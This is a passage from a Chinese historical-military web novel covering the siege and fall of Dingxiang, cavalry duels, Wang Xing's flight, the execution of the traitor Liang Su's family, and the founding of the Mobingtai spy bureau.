还有人士卒出于好奇心,想张望一眼,刚从盾牌背后探出头来就被一箭正中额头,当场毙命;
更多的士卒是在胡乱奔跑中被箭矢射成了马蜂窝,在血泊中哀嚎。
“上弦,再放!”
“嗡嗡嗡!”
阙州军阵中令旗再挥,弓手后撤,弩手踏步上前,新一轮箭雨更为密集。这一次竟夹杂着火箭,箭簇燃着油布,如流星般砸向城头。
“投石车,放!”
与之呼应的还有漫天飞舞的巨大石块,巨石掺杂着箭矢当空砸落,杀气笼罩全城。
“嗖嗖嗖!”
“砰砰砰!”
满城守军都被这惊天攻势打蒙了,城头上尘土飞扬、碎石四溅、更有不少火苗逐渐跃动,守军只能拼命扑打火焰,乱成一团。
“该死的,不要乱,稳住阵型!”
梁肃破口大骂: “投石车呢,反击!给我反击!”
躲在砖墙之后的王星也在拼命嘶吼:
“任何人不得后退,稳住城防,不要乱!”
两位主将的心底都用一抹不安涌现,刚刚洛羽说一战攻克定襄城,他们嗤之以鼻,认为只不过在大放厥词,可现在他们真有些怕了。
“咚咚咚!”
箭雨未歇,阙州军阵中已响起震天战鼓。
“先登营,出阵攻城!”
“弓弩压阵!”
“嚯嚯!”
五千先登营分兵一半前出,披甲步卒犹如黑潮般涌向城墙,随军推出的还有攻城云车与大型攻城锤,包铁木轮碾过地面,顶端悬着的撞锤泛着冷光,直指城门。
令人胆寒!
前排铁盾为墙,后排人人持刀,互为呼应。
作为阙州军中最擅攻城战的精锐步卒,方阵刚刚抵达城墙脚下便开始了攀城。一名名青壮军卒面色悍然,一手持盾一手握刀,顺着云梯向上攀爬。攻城车顶端更是有弓弩手游弋,不停地放箭射杀城头守军。
“放滚木!倒火油!”
“弓弩手给我放箭!不要让敌军靠近城头!”
守军勉强组织起反击,滚石檑木从城头砸落,偶然有先登步卒被石块砸中、箭矢射中,血花四溅。可这些精锐竟无一人后退!
中箭者闷哼一声便继续冲锋,被滚木砸断腿的士卒竟爬着向前,以血肉之躯为同袍垫梯。每一架攻城云梯上都攀附着密密麻麻的骁勇悍卒,健步如飞,如巨蟒缠城。
他们有的不仅是悍勇,还精通攻城战术,看似是全军一拥而上,蚁附攻城,实则确实攻守有度,哪些人是佯攻、哪些人是强攻主次分明,逼得守军来回变阵,越发混乱。
守军蒙了,他们哪儿见过如此攻城阵仗,这些阙州军还是人吗?不怕死?
“王兄,今日一战恐怕不能善了啊。”
梁肃已经握紧了手中弯刀,咬牙切齿地说道:
“你我各守一面城墙,起码要挡住最猛烈的一轮进攻,撑过今天才能守住定襄城,否则咱们都得死!”
“好!”
王星咽了口唾沫,恶狠狠地拔刀而出:
“拼了!”
……
漫天的喊杀声与投石箭雨飞舞的声响互相交织,令整座定襄城都笼罩在一股绝望、恐怖的氛围中。
“快,给老子把这些石头都搬上去!”
“粪便,我要粪便!赶紧用粪便灭火!”
“妈的,没看到房子都烧起来了吗!” 城头激战,城门口处也乱成了一团,大头兵拉来了一批批民夫,差使着他们打杂,什么脏活累活都丢给他们干。很多民夫受不了箭雨的威压,更是被不断运下城头的尸体吓破了但,许多人扭头就跑,领头的一名马脸都尉气得脸色雀黑:
“妈的,不准跑,谁再敢跑老子剁了他!”
喝声虽然吓人,可逃跑的民夫却越来越多,甚至有些许当兵的跟着跑,谁不想活命?
就在这时,一行几十名民夫推着四五辆平板车靠了过来,上面还放着一排排木桶,民夫的面孔很陌生,好像不是军中强抓来的壮丁。
“站住,干什么的!”
马脸都尉本来就在气头上,见到这群陌生人更来气了:
“鬼鬼祟祟的,一看就不像好人!”
“军爷,小的们是来送粪便的,不是说要灭火吗?”
带头的是个中年男子,点头哈腰地赔笑道:“咱们听说城头激战,特来襄助军爷,您看,这都是小人收集起来的粪便,扑灭大火用得上。”
“呦呵,觉悟不错。”
一听此话马脸都尉就乐了,很是满意地拍了拍他的肩膀:
“像你这么忠心为国的人不多了啊,放心,等打赢了仗,老子一定会重重赏你!”
“谢将军!”
马脸都尉嗅了嗅鼻子,突然皱眉道:
“怎么闻不到臭味?”
按理说这么多桶粪便应该恶臭无比才对,可他却闻不到臭味,反而嗅到一丝刺鼻的味道。
“嗅嗅。”
马脸都尉嗅了嗅鼻子,目光陡然一变:
“这是,火油!”
“你们……”
“嗤!”
话音未落,一柄短小的匕首就狠狠扎进了他的咽喉,马脸都尉在无比绝望中栽倒在地,直到临死前他都没想明白这群人是谁。
“杀!”
“铛铛铛!”
“嗤嗤嗤!”
几十号民夫同时暴起,将守在城门口的一小队卫兵统统斩杀,或许是因为场面太乱了,城头守军压根就没注意到这里发生的变故。
中年汉子目光狰狞,一指马车:
“炸开城门!”
第278章老子就喜欢杀万人敌!
“轰!”
一声惊天炸响陡然冲破云霄,城门口出爆发出一团刺目的火光,天地都为之一颤!
火油木桶被点燃的瞬间,气浪撕碎了厚重的木制城门,包铁城门在爆炸中剧烈震颤,门闩断裂,碎木四溅。守在附近的十几名守军当场被掀飞,残肢断臂混着烟尘泼洒半空,哀嚎一片。
“怎么,怎么可能。”
正在指挥攻城战的梁肃目瞪口呆,脸色煞白:
“城内竟然有细作,哪来的细作!这不可能!”
那一夜定襄城大乱,他可是将君家嫡系杀得干干净净,就连军中也清理了一番,怎么还有人在城内作乱?
“起火,起火了!”
“城门破了!”
守军慌乱的尖叫声此起彼伏,而城外大阵中已然响起了萧少游的厉声嘶吼:
“骑军入城,给我杀!”
“轰隆隆!”
城外早已蓄势待发的虎豹骑骤然爆发出一阵狂吼,蒙虎狞笑着挺枪向前:
“入城首功就归我了,哈哈!”
你会发现洛羽和君墨竹的嘴角挂着一抹淡淡的笑容,他们知道是何人攻破了城门。
三千披甲铁骑如洪流般碾过护城河的浮桥,马蹄飞溅,尘土四起,守军的反应也还算快,一队两三百步卒组成的拒马阵已然呼啸而至。
“给我滚开!”
蒙虎怒吼一声,长枪突刺,将一名仓皇迎战的守军捅穿,借马力一挑,尸体横飞数丈,砸翻后方步卒。紧跟着便是长枪一扫,将一排七八面盾牌尽数杂碎,哀嚎声不断。
“杀!”
拒马阵轰然告破,三千精骑奔涌入城,势如破竹。
“拦住他们,堵住缺口!不要让骑军入城!”
城楼上的梁肃目眦欲裂,他很清楚城内虽然两万大军,可绝不是阙州军的对手,城墙是他们唯一的依仗,守不住城门此战必败无疑!
可他的吼声瞬间被淹没在铁蹄声中,谁能听得见?
他眼睁睁地看着虎豹骑顺着城门甬道蜂拥而入,长枪斜举,将试图拦阻的步卒串成血葫芦,大杀四方,成片成片的军卒栽倒在血泊中。
摧枯拉朽!
“完,完了。”
王星面如死灰,他亲眼看见一支百人骑队斜插向主街,长矛挥砍间将一座近千人的步卒方阵狠狠击溃,杀得血肉横飞。
真被洛羽说中了,定襄城的攻防战根本用不了一年半载,只需要一天就能破城!至于城内那些细作是什么人已经无关紧要,重要的是他们败了。
“王兄,王兄!”
梁肃疾步走来,抓着他的肩膀怒声嘶吼: “我们还没有输,入城的骑军堪堪两三千人,只要把他们杀出去,定襄城就能守住!”
“杀,杀出去?”
王星简直怀疑自己听错了,就凭虎豹骑如狼似虎的样子,像是能打得过的吗?
“不搏一把怎么知道!”
梁肃怒喝道:“我手下有三千精骑,或许可与其一战,我与拦住虎豹骑,你稳住城防,说不定还有机会!”
梁肃面目狰狞,已经有些疯狂了。
他不能输,因为他是君家的叛徒,自己输了,一定会死得很惨!
“好!”
王星咬着牙重重点头:
“梁兄去拒敌,城防交给我!”
……
“杀!”
“铛铛铛!”
“嗤嗤嗤!”
虎豹骑突入城中,随即兵分多路在城内横冲直撞,人挡杀人佛挡杀佛,骁勇异常。
说句实话,寻常步卒根本不可能拦住他们,除了些许王家死忠或者梁肃嫡系之外,大多兵马都是一触即溃,跪地乞降,战斗进展得异常顺利。
“唉,没劲。”
蒙虎撇了撇嘴:
“都是这些货色,还以为多能打。”
“阙州小儿,本将来会会你!”
梁肃的喝声陡然响起,披挂着一身土黄色战甲,手中兵器竟然是一柄长斧,这可是军中悍将才会使用的武器。
“梁肃是吧?”
蒙虎见过他的画像,嘴角勾起一抹讥讽的笑意:
“老子听说你是定州战力第一的悍将,号称万人敌?正好试试你的身手。”
没错,梁肃乃是定州出了名的陷阵悍将,据说当初在寒山关从军时曾攒下十六颗羌兵蛮子的人头,号称定州第一虎将。
“过奖了,区区薄名,不足挂齿,虎痴之名本将军也是久仰多时。”
梁肃目光凝重,长斧斜举:
“若是将你斩于马下,我也能名动三州!”
梁肃话音未落,战马已如离弦之箭冲出,长斧借着马势横扫,斧刃带出的破空声宛如惊雷,直取蒙虎腰腹!这一斧若中,足以将人拦腰斩断。
“果然有点本事。” 蒙虎嘴角微翘,不避不让,长枪陡然一抖,枪尖精准点向斧柄七寸处,正是长斧发力最薄弱的位置,面带狞笑:
“可你不知道吧,老子就喜欢杀万人敌!”
“铛!”
一声沉闷厚重的交鸣声回荡,梁肃只觉得手臂一麻,斧势竟被硬生生荡偏三寸,擦着蒙虎的甲胄掠过,刮出一串火星。
梁肃的眼神越发凝重,换做以往可没什么人能接得住自己一斧,可蒙虎竟然游刃有余。
二人错马而过的刹那,蒙虎反手一枪回刺,枪杆如毒蛇吐信,直扎梁肃后心:
“接我一枪试试!”
“好快,可是还不够!”
梁肃俯身贴鞍,枪尖擦着背甲划过,刮出一道深痕,险之又险的避开这一枪,下一刻他猛拽缰绳,战马人立而起,转守为攻,长斧借势劈下,似要将蒙虎连人带马劈成两半。
蒙虎冷笑一声,长枪横举格挡。斧刃砍在枪杆上,竟压得精铁枪杆微微弯曲。梁肃双臂肌肉暴起,青筋布满额头,欲以蛮力压垮对手:
“给我死!”
“雕虫小技!”
僵持仅一瞬,蒙虎突然撤力侧身。梁肃斧势失控前倾,整个人险些栽落马背。电光石火间,蒙虎左手已抽出腰间苍刀,刀光如雪,横抹梁肃咽喉!
“刺啦!”
梁肃脸色大变,拼命后仰,刀尖仍在他颈甲上刮出一道血痕,给他惊出一身冷汗。
一连串的激烈交锋,二人拉开距离,梁肃的大口大口的喘着粗气,刚才一番激战堪称步步杀机,令他心惊肉跳,可蒙虎给他的感觉却是还未用处全力。
好强,真的好强。
强的不止是蒙虎一人,双方数千骑卒在街巷中展开混战,虎豹精骑竟然稳占上风,长枪突刺间不断有人头落地。
梁肃的心又沉了几分,隐隐生出一种无力感。
“杀啊!”
“大军入城!攻占四门!”
远处陡然爆发出一阵惊天怒吼,马蹄声回荡云霄,似乎有无数阙州主力涌入城中,梁肃心头咯噔一下,难道王星没有守住城防吗?
“将军,将军!”
一名心腹下属疾驰而来,梁肃急声问道:
“怎么回事,城防被攻破了吗!”
“不,不是。”
心腹面如死灰地说道:
“王,王星带着千余军卒弃城而逃,跑了!”
第279章惶惶丧家犬
“什么,弃城而逃!王八蛋!杂碎!”
“这么大一座定襄城,说不要就不要了!”
梁肃那叫一个气啊,怒火攻心之下他很快就想明白了事情的缘由。
定州是他的根基,家人家产皆在这里,所以他必须死守到底,可对于王星而言定襄城无关紧要,反正他的家在并州,区区一座城池远不如自己的命重要,当然得跑。
怪不得王星答应自己要稳住城防,合着是把自己当成诱饵了,趁着自己带兵拦住虎豹骑的机会跑了。
王家之人,果然一个都信不得!
“哼,自作孽,不可活啊。”
蒙虎讥讽大笑:
“再来,该你受死了!”
梁肃虽然满心悔恨,但依旧咬牙切齿:“想杀我?没那么容易,我跟你拼了!”
战马奔腾,两人再度交锋。
“喝!”
板斧长矛同时挥出,带起一阵尖锐的破风声,然后狠狠相撞:
“铛!”
“嘶!”
梁肃倒抽了一口凉气,手臂猛然一颤,虎口被震得撕裂,他感受到蒙虎开始出全力了。
“哼,瞧好了!”
蒙虎突然变招,长枪不再硬碰,而是如游龙般专挑梁肃的关节、甲缝处突刺,角度极为刁钻。梁肃的长斧远没有长枪那么灵活,被一连串的杀招逼得左支右绌,体力也在极速消耗。
“嗤!”
果然,他一个不慎被枪尖点中右肩胛,挑飞一片甲叶,钻心的痛感袭遍全身。梁肃嘴角一抽,还没来得稳住身形,蒙虎回马再刺,又扎穿了大腿护甲。
梁肃的斧势越发凌乱,鲜血顺着腿甲滴落,在青石板路上留下一片鲜红,眼神也越发绝望。
“你输了!”
蒙虎陡然暴喝,长枪直攻面门,梁肃急忙举斧格挡,却见枪尖陡然下沉,狠狠扎入战马前胸!
“嘶嘶嘶!”
他没想到这一击杀招是冲着战马去的,坐下战马一阵嘶鸣,双腿弯折,腾地一下便将梁肃甩飞出老远,胸口剧痛无比,鼻梁骨都被撞断,鲜血喷射而出。
不等他起身,冰冷的枪尖便已抵住喉结,吓得他不敢再动弹半分。
蒙虎单手持枪,苍刀归鞘,咧嘴一笑:
“定州第一?不过如此。”
……
“驾!” “驾驾!”
“快点,再快点!”
一队身披甲胄的骑兵正在纵马狂奔,人人面色慌乱,衣袍带血。
王星时不时地扭头回望,又急又乱,千余骑兵护着他一路拼死杀出重围,眼下身边只剩三四百骑了。
十几里外的定襄城浓烟滚滚,震天的嘶吼声隔着老远依旧飘入王星的耳中:
“梁兄对不住了,人不为己,天诛地灭啊。”
王星面色悲戚,偌大一个定州,开战前号称拥兵五万,能挡住阙州军一年,可战端一开,短短二十天,五万兵马便全军覆没。
何其可笑。
“轰隆隆!”
背后突然传来一阵急促的马蹄声,数百精骑越过一座土坡,紧追而来。他们穿的不是黑甲,而是血红甲胄,乍一看就像是滚滚红流在地上翻滚,杀意扑面而来!
“血归军!”
王星嘴角一哆嗦,这些家伙怎么阴魂不散,逃出定襄城这么远还穷追不舍!
吕青云一马当先,怒目圆睁:
“洛将军有令,得王星首级者,赏金百两!”
“杀!”
血归军马快,眨眼间便冲到跟前,人人怒吼着要取王星的首级,落在身后的十几名王家军全都被一枪捅杀。
王星吓得魂不附体,尖叫出声:
“拦住他们!快给本将军拦住他们!”
一众护卫面面相觑,厮杀一路,哪还有力气与血归军精锐厮杀?找死吗不是。
“妈的,都愣着干什么!给我拦住他们!”
“谁敢不听军令,临阵处斩!”
在王星不停的怒骂声中,卫兵们总算是勒马回转,将血归军尽数拦下。
“杀!”
“砰砰砰!”
“嗤嗤嗤!”
可他们又岂会是血归军的对手?一杆杆长枪斜刺,精疲力竭的王家军纷纷倒地,一触即溃,温热的鲜血击垮了他们心中最后一点斗志,本就吓破了胆的王家军一哄而散,再无抵抗之心。
“妈的,一群废物!不准跑!”
王星牙呲欲裂,愤怒至极:
“谁敢跑老子杀了他!不准跑!”
大部分人充耳不闻,四散溃逃,这时候谁还在乎你是不是将军啊,自己的小命要紧。 吕青云一骑已经逼至身前,挺枪刺来:
“死吧!”
王星吓得魂不附体,忙不迭地想要抽剑去挡,可由于太过惊慌,长剑怎么也拔不出来。
他绝望了,闭目等死。
“铛!”
就在枪尖即将洞穿他的胸口时,一杆长矛从侧面斜刺而来,直接拨开了吕青云的杀招:
“将军快走,我来断后!”
王星茫然睁眼,一张年轻的面庞映入眼帘。面熟,此人好像是自己麾下一名百户,刚刚突围战中就表现神勇,一路护着自己逃出城外。
“杂碎,竟敢阻拦本将军!”
吕青云怒骂一声,又是两枪刺来,皆被此人拦下,年轻百户又急喝了几句:
“快走啊将军,快!”
王星顾不得多想,策马狂奔,一溜烟跑出了老远,还回头望了一眼,那骑正与吕青云杀得难解难分:
“好身手啊。”
王星啧啧称奇,没想到自己麾下竟然有如此悍将,但又有点惋惜,留下断后基本上是必死无疑了。
“铛铛铛!”
两人捉对厮杀,长枪迭出,对拼数十招竟然也没分出胜负。又是一记对拼,两人同时稳住了身形,恶狠狠地瞪着对方。
四目相对,眼眸中似乎闪过一抹诡异的光芒。
吕青云嘴角微翘:
“好小子,竟然能与本将拼个不相上下。”
“哼!”
年轻人虚晃一枪,直刺吕青云的面庞,趁着吕青云闪避之际掉头就跑,朗笑高呼:
“吕将军,在下先走一步,后会有期!”
……
枯树林里,王星气喘吁吁地瘫坐在地,抄起水囊大口大口的喉咙里灌,浑身再无半点力气。
他狂奔一天,好不容易才甩开了敌方追兵。身边就只剩下十几名嫡系亲卫,人人甲胄破碎,惶惶如丧家之犬。
“哒哒哒!”
突兀的马蹄声骤然作响,十几人一慌,赶忙拔刀,面色悲戚,这时候若是再遇到追兵,那就真的死定了。
“将军,是我!不要拔刀!”
主动替王星断后的年轻人纵马入林,滚鞍下马,跪地抱拳:
“让将军受惊了,卑职罪该万死!” “是你,你竟然还活着!”
王星大喜过望,一把抓住他的手臂:
“你叫什么名字?”
此人浑身甲胄破碎,被鲜血染得透红,肩膀上还绑着厚厚的绷带,污秽不堪,显然是经过一番惨烈的激战才杀出重围。
“卑职军中百户,常遇山!”
“常遇山?哪里人士?何时入军?”
年轻男子沉声喝道:
“卑职乃并州人,去年寒山关一战时才被征入军中。”
“原来是去年才入军。”
王星恍然大悟,怪不得才是个百户,否则凭此人的身手早该在军中冒头了。
“此次你率兵断后,忠勇不屈,甚好!”
王星满眼欣赏,重重一拍常遇山的肩膀:
“从今日起你升任军中校尉,就跟在本将军身边!只要好好替本将效命,我保你平步青云!
本将最爱人才!”
常遇山面色一喜,跪地磕头:
“谢将军提拔之恩!”
第280章墨冰台
一面面“洛”字玄旗高高飘扬在定襄城头,滚滚浓烟尚未消散,但城中激战已经结束。
两万守军全军覆没,除数千顽固分子被杀之外,大部分军卒都跪地求降,老老实实当了俘虏。
甚至有的军卒投降时满脸笑意,因为一些人曾经在寒山关跟着洛羽打过仗,谁愿意给你王家、梁肃卖命?
呸!
“大军入城!”
“将军令!”
“不得擅闯民宅,不得掠夺私产、不得欺辱百姓!”
“违令者,立斩不赦!”
数以万计的黑甲军卒迈步入城,军威严整,军纪严明,与城内百姓秋毫无犯。
街道上看似只有军卒行进,实则两侧民房中有无数道好奇的目光从窗缝间探出,小心张望,目露诧异:
这就是阙州军吗?
好威风啊!
定襄城正中央有一片废墟:
焦黑的梁木支离突兀、曾经华丽的飞檐轰然倒塌、就连烫金的匾额也被大火烧得只剩半块。
两个月前,这里还是君家祖宅,定州最显赫的地方,现如今已经是残垣断壁、满目荒凉。
君墨竹站在废墟中,一言不发,眼中没有泪水,只是眼眶微微泛红,墨色长衫下的身躯似乎在隐隐发抖。
“节哀。”
洛羽轻轻拍了拍他的肩膀,不知道该说什么话去安慰,满门被杀,还活着的君家人寥寥无几,如此剧变又有何人能接受?
“呼。”
君墨竹长出一口气,自嘲一笑:
“其实君家也有许多恶人,哪怕有父亲在上面管着,依旧有人横行乡里、鱼肉百姓。
在他们眼里,平民百姓与蝼蚁无异。
说起来君家与王家、李家并无什么不同,传承近百年,骨子里也烂得差不多了。”
洛羽默然不语,君世雍的为人他知道,可家主秉性纯良,并不意味着家族中所有人都是好人,只能说比李家王家强一些。
“要想统一三州,重建一个新的陇西,就得打烂根深蒂固多年的世家大族。”
君墨竹目光怅然:
“既然如此,那就不如从君家开始。”
“都死了,或许是一件好事吧~”
洛羽和萧少游都沉默了,心中没来由升起一股敬佩。
“将军!人我抓来了!”
蒙虎大步走来,将梁肃往地上一扔。
号称定州第一悍将的他此刻像是个血人,甲胄尽碎,几处伤口渗出的血迹将衣袍染得污秽不堪,门牙也摔掉了两颗。
君墨竹居高临下地看着他:
“我父亲和大哥这些年待你不薄,王家到底给了你什么条件,让你做出叛变投敌之举?”
其实被抓的叛徒不止梁肃一个,所有跟着他反叛的家臣、城主要么被杀、要么被抓,而他就是贼首!
梁肃恶狠狠地说道:
“他们答应让我当定州持节令!”
“明白了,你不愿意一直当君家的家将是吧?”
“没错!”
梁肃的目光中满是怨毒:
“仗是我打的,血是我流的,凭什么姓君的一生下来就可以做人上人,而我流血流汗只能当一条狗!
你们能当持节令,我也能!”
“我也能!”
梁肃嘶吼不断,目光猩红。
洛羽和萧少游微皱眉头,他的神智已经彻底被野心占据了,毫无理智可言。
骂了半天,梁肃仿佛认命一般:
“成王败寇,没什么好说的,要杀要剐,随便你!”
他也是个狠人,从当初背叛君家的时候就想过可能会有这一天,早已将生死置之度外。
“你不怕死,我知道。”
君墨竹漫不经心的说道:
“所以你满门上下近百口已经被我抓了,他们会陪你一起死。”
“要杀便杀!”
梁肃的眼神中满是怒火,没有半点害怕的意思。
“呵呵,我知道你有恃无恐。”
君墨竹突然轻笑了一声:
“因为在你背叛君家的时候就担心有这一天,所以提前将妻子和两个儿子藏起来了,他们并不在定襄城内。
对不对?”
梁肃浑身一僵,脸上的狰狞突然消失,取代而之的是一股不安。
“把人带上来!”
君墨竹一声冷喝,几名军卒远远地将两个少年提了过来,嘴里塞满破布,正在拼命地挣扎。
“儿,儿子!”
梁肃呆若木鸡,终于慌了:
“你,你放了他们!”
“放了他们?凭什么?”
君墨竹的眼眸逐渐变得冰冷:
“君家上下几百口,那么多老人小孩,你放过他们了吗!”
“君公子,我错了!我真的错了!”
梁肃像疯了一般拼命磕头:
“求你,求你放了我儿子!我下辈子给你当牛做马!”
“求君公子开恩,饶了我儿子!”
“现在后悔,晚了!”
君墨竹冷喝一声:
“带下去,杀!”
“诺!”
“饶命,饶命啊!”
梁肃悲痛欲绝,可依旧被几名军卒蛮横拽走,临死前的眼神是那么的后悔。
寒意消散,君墨竹怔怔然:
“杀孩子,真的对吗?”
洛羽微微摇头:
“这一路会死很多人的,心善,走不到最后。”
“懂了。”
这一刻君墨竹解开了心结,如此乱世,斩草必须除根!
“这一次破城可都靠你了啊。”
洛羽微微一笑:
“如果不是你留在城中的下属,今日想要攻破定襄城怕是得付出血一般的代价。”
用火油炸开城门的那些人是谁?
自然是君墨竹培养多年的情报人员,那些人不仅精通打探消息,其中也不乏身手顶尖的杀手!
但他们只听命于君墨竹一人,君家上下无人知晓。所以定襄城大乱的那一夜这些人并没有任何举动。
没有君墨竹的命令,他们压根不知道该做什么。
阙州军围城五天,日日往城内射箭,射的只有劝降信吗?
不!
还有君墨竹让他们里应外合、攻破城门的命令!
君墨竹苦笑一声:
“积攒多年的人手总得派上点用场吧,否则显得我像个废物。”
“哈哈哈,你若是废物,天底下还有聪明人吗?”
洛羽眉头轻挑:
“我有个想法,能不能以你原有的情报人员为基础,再抽调部分精锐军卒转入暗处,组建一个机构,集刺探消息、暗杀、防卫与一体?
这些人不仅要打探陇西三州的消息,以后发展壮大,全天下的情报也能源源不断地汇集过来!”
“可行,当然可行!”
君墨竹目光振奋:
“我早就想这么做了,可惜以我在君家的能力,还做不到如此布局。”
“哈哈哈。那你就放手去做,我全力支持!”
洛羽微微一笑,在他看来君墨竹很适合干这个,集情报、谋略于一身,必会成为自己的得力臂助!
“那属下就当仁不让了!”
君墨竹躬身行礼,一袭墨色长衫随风轻动:
“请洛将军为暗探机构赐名!”
洛羽目光微凝:
“就叫,墨冰台!”
……
景丰十一年夏
阙州军一战破定襄,横扫定州全境。
梁肃等多名叛贼,满门上下总计八百余口,尽杀于城门外,暴尸三日!祭奠君家亡灵!
陇西震动!敌人胆寒!
第281章阙州军真会飞?
“两万守军,一年的屯粮,城高墙坚,易守难攻,天时地利人和都在你手中。”
王彦之十分不满地问道:
“定襄城竟然连一天都没守住?我还真不信了,阙州军难道长了三头六臂,还是天神下凡?”
不仅是王彦之感到震惊,满屋子的文臣武将们也不敢相信自己的耳朵,固若金汤的定襄城会丟得这么快。
王星战战兢兢的站在台下,满脸苦涩:
“大人,实在是梁肃这个家伙不顶用,手下军卒竟然有敌军的细作,攻城战刚开始就从城内打开了城门,导致阙州骑兵蜂拥而入,城防在顷刻间支离破碎。
为了守住定襄城,末将率兵奋战至最后一刻,上千亲兵死伤殆尽,眼见守城无望才率军突围的。
请大人赐罪!”
王星那叫一个涕泪横流啊,大说特说自己是如何英勇奋战、梁肃是如何不顶用,王彦之虽然气愤不已,但毕竟他是王风赞的儿子也不好多说,挥了挥手:
“罢了罢了,起来吧,此前你剿灭君家有功,这次就功过相抵了。”
“谢大人!”
“说到底还是定州军不济事啊。”
王彦之长叹一声:“看来还是得靠咱们自己的兵马才能击败洛羽。”
“咳咳,大人,咱们下一步该如何行动?”
一直候在旁边未曾说话的王风赞开口了:
“定州失守,以君墨竹的威望能拉起不少兵马,到时候两家合力,单靠我并州一方只怕无法应对。”
屋中陷入了沉寂,所有人都明白战局已经不利于王家,可就在一个多月前,王家还差点一统陇西三州。
世事难料啊。
“打不过就守,跟他们耗!”
王彦之转身看向地图,手掌一指:
“定州、阙州两地贫瘠,没多少粮草支撑他们长久征战,而我并州富饶,耗他一个一年半载也无所谓!
等敌方粮草耗尽、军心不稳之际就是咱们的机会!我们要做的就是积蓄实力,等待反击时刻的到来!
接下来重兵布防两地!
第一,与定州交界的川庆城一定要严防死守,扼守并州门户,阙州军一兵一卒也不能放过来!第二,观南城囤积了不少粮草,对我军来说至关重要,王星,这里就交给你去守。”
“诺!”
一道道军令从王彦之口中说出,所有人都明白,接下来并州要采取守势了。
最后王彦之环视全场,朗声喝道:
“胜败乃兵家常事,我们扎根并州多年,难道还敌不过阙州一个暴发户吗?
诸位,吾等齐心协力,定能大败洛羽,一统三州!”
“臣等遵命!”
“都退下吧,叔父留一下。”
文臣武将们鱼贯而出,只有王风赞躬身侍立在屋内,神色有些不自然。
王彦之看着地图,良久未曾说话。
王风赞轻声问了一句:
“大人,有什么事要吩咐吗?”
王彦之喃喃道:
“叔父,你跟我说一句实话,单靠并州眼下的军力,有希望击败洛羽吗?”
王风赞顿了一下,犹犹豫豫地说道:
“从去年开始我们就在秘密征兵,最近两个月更是整合了并州全境的势力,拥兵七万,但这里面能打仗的老兵不过半数。阙州军虽然只有五万,可却是与羌人正面厮杀过的边关精锐,战力骁勇。
咱们守城或许尚可,但若是野战,只怕……”
“野战必输是吧。”
王彦之自嘲一笑,难道他不知道王家军打不过洛家军吗?只不过刚刚那么多文武在场,他岂能说出如此泄气的话。
“如果只是守,王家最多不败,想要统一陇西绝无可能。”
王彦之目光怅然:
“可我想要的是整个陇西啊,区区一个并州,不够!”
王风赞苦涩一笑,不知道该说些什么。有雄心壮志是好事,可沙场上打不赢,说什么都是徒劳。
王彦之的手掌在地图上轻轻拂过,良久之后像是下定了决心:
“叔父,想请你帮我去办一件事。”
“何事?”
王彦之的眼中闪过一抹讥讽:
“洛羽杀了一个九皇子,想必西羌对他恨之入骨吧?”
……
川庆城
定州、并州的交界处,地势与定州青岚关同样重要,四周群山起伏,连绵不绝。
虽然有不少山路小路勾连两州,但是大型攻城器械外加粮草运输必须走大路,也就是说阙州精锐想要入境就得先拿下川庆城!
眼下整个并州军的目光都聚集在这里,洛家军一战攻破青岚关,难道还能一战攻破川庆城不成?
将军府里站着一排武将,人人面色凝重。负责守城的主将曾康、副将彭安皆是外姓将领,地位等同于当初的凌桐。
曾康面无表情地站在地图前:
“对面的阙州军有什么动静吗?”
彭安沉声道:
“回将军话,数万阙州军一直停留在六十里外扎营,并无任何攻城的迹象,想来是因为刚刚拿下定州,需要休整些时日,一时半会不会攻城。”
“切莫掉以轻心。”
曾康冷声道:
“当初我们都以为阙州军会整军三四个月再进攻定州,可结果呢?先登营以迅雷不及掩耳之势拿下了青岚关,一夜,一夜便攻破城防。
难道你们也想白白死在先登营的苍刀之下?”
众人的脸色又凝重了许多,从开战至今,阙州军的每一次行动都大大出乎预料,神出鬼没。所以现在每夜都有武将在城头值守,丝毫不敢松懈。
“大人的军令已经下来了,坚守边境半年。”
曾康手指地图:
“川庆城内有八千驻军,地势险要,易守难攻,作为临敌的第一线。咱们的身后有桐乡,河乡两城,各驻军两千余人,作为援手。
这一仗会打得很苦,诸位心里要早做准备。”
众人面色发紧,一想到名震三州的洛家军即将杀到眼前,谁能不怕?
“你们都知道,凌桐的背叛让大人不再信任我们这些外姓武将,想要重获信任,就只能立功!”
曾康冷声喝道:
“守住边防就是立功的机会!咱们就龟缩不出,日夜严加防范,我就不信洛家军真能插上翅膀飞过来!
都听明白了吗!”
“明白!”
“将军,将军不好了!”
粗狂的喝声刚刚落下,就有一名军卒连滚带爬地冲了进来,哀嚎道:
“敌军,敌军来了!”
曾康眉头紧皱,呵斥一声:
“来了就来了,兵来将挡水来土掩罢了,慌什么!”
“击鼓聚兵,上西城墙防守!”
“不,不是。”
军卒像是见了鬼一般,面色煞白:
“敌军不是从城西而来,而是从城东来的!”
“什么,城东!”
众人面色剧变,城东不是他们的背后吗?
阙州军真飞过去了?
第282章派人劝降
川庆城城东
曾康、彭安等一众武将急急忙忙地登上了城头,城外果然出现了一支骑军,黑甲茫茫,足有数千之众,四处游弋,浑然没有将城内守军放在眼里。
“这是,曳落军!”
认清了旗号,众人面色陡变,当初曳落河一战,曹殇、霍连城五千兵马拼掉西羌八千骑,以少胜多名震三州,何人不怕?
“他们怎么会从川庆城背后出现?”
彭安满脸震惊:
“难道,难道说他们是从山路中偷过的?不可能啊,山路中有咱们提前设下的哨卡,若是阙州军入境,一定会发信号示警的。”
“只有一种可能。”
曾康的拳头微微攥紧:
“他们悄无声息地拔掉了哨卡,而后轻骑突进绕到了川庆城背后。”
“妈的,没想到被他们钻了空子。”
彭安略加思索,急声道:
“将军,是不是立刻发信号示警,让桐乡、河乡两地的驻军前来救援?咱们前后夹击,或许可以先吃掉曳落军,重创敌方士气。”
“嗯,倒是个好主意。”
“呜!”
“呜呜!”
就在众人疑虑之间,曳落军中响起了漫天号角声,一队精骑飞奔出阵,直抵川庆城外,为首一名黑甲武将朗声喝道:
“我是曹殇,城头上的诸位将军应该听过我的名字!”
朗喝声滚滚如雷,守军面色皆变,他就是曹殇啊,名动边关的狠角色。
曹殇轻轻一挥手,身披骑卒就扔出了一个包袱,两颗血淋淋的人头滚落在地:
“这是桐乡、河乡两城主将的首级,从现在开始川庆城就是一座孤城了!”
“怎么可能!”
曾康眼眶一突,曳落军不仅从小路悄无声息地绕道己方身后,竟然还不费吹灰之力攻克了桐乡、河乡两城,动作之快令人始料未及。
